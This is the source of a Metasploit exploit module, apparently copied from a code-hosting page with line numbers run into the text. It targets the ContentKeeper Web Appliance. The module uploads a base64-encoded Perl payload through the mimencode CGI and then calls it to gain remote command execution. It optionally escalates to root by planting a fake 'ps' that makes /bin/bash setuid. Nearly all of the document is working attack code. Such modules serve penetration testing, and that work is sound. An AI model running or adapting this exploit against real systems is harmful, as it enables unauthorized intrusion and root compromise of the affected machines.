Path: blob/master/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
23899 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ContentKeeper Web Remote Command Execution',15'Description' => %q{16This module exploits the ContentKeeper Web Appliance. Versions prior17to 125.10 are affected. This module exploits a combination of weaknesses18to enable remote command execution as the Apache user. By setting19SkipEscalation to false, this module will attempt to setuid the bash shell.20},21'Author' => [ 'aushack' ],22'Arch' => [ ARCH_CMD ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2009-20011' ],26[ 'OSVDB', '54551' ],27[ 'OSVDB', '54552' ],28[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],29],30'Privileged' => false,31'Payload' => {32'DisableNops' => true,33'Space' => 1024,34'Compat' =>35{36'PayloadType' => 'cmd',37'RequiredCmd' => 'generic perl telnet',38}39},40'Platform' => ['unix'],41'Targets' => [42[ 'Automatic', {} ]43],44'DisclosureDate' => '2009-02-25',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56Opt::RPORT(80),57OptString.new('OVERWRITE', [ true, "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']),58OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),59]60)61end6263def check64connect65sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")66banner = sock.get_once(-1, 3)67disconnect6869if (banner =~ /500 Internal/)70return Exploit::CheckCode::Vulnerable71end7273return Exploit::CheckCode::Safe74end7576def exploit77exp = "#!/usr/bin/perl\n"78exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"79exp << "use IO::Socket::INET;\n"8081if (datastore['PAYLOAD'] =~ /perl/)82if not datastore['SkipEscalation']83print_status("Attempting to facilitate root escalation...")84exp << %q{ system("echo /bin/chmod u+s /bin/bash > ps; /bin/chmod o+x ps; PATH=.:$PATH; ./benetool stopall;"); } # We can use either 'ps' or 'grep' but ps is fine.85end86exp << payload.encoded.gsub('perl -MIO -e ', '').gsub('\'', '') # We're already inside a perl script!87else88exp << "system(\""89exp << payload.encoded.gsub('"', '\"')90exp << "\");\n"91end9293body = Rex::Text.encode_base64(exp)9495connect9697sploit = "POST /cgi-bin/ck/mimencode?-u+-o+#{datastore['OVERWRITE']} HTTP/1.1\r\n"98sploit << "Host: #{datastore['RHOST']}\r\n"99sploit << "Content-Length: #{body.length}\r\n\r\n"100101print_status("Uploading payload to target...")102sock.put(sploit + body + "\r\n\r\n")103disconnect104105select(nil, nil, nil, 3) # Wait a few seconds..106print_status("Calling payload...")107connect108req = "GET /cgi-bin/ck/#{datastore['OVERWRITE']} HTTP/1.1\r\n" # Almost all files are owned by root, chmod'ed 777 :) rwx109req << "Host: #{datastore['RHOST']}\r\n"110sock.put(req + "\r\n\r\n")111112handler113disconnect114select(nil, nil, nil, 3) # Wait for session creation.115if not datastore['SkipEscalation'] and session_created? and datastore['PAYLOAD'] =~ /perl/116print_status("Privilege escalation appears to have worked!")117print_status("/bin/bash is now root setuid! Type 'bash -p' to get root.")118print_status("Don't forget to clean up afterwards (chmod -s /bin/bash and restore an original copy of the OVERWRITE file).")119end120end121end122123124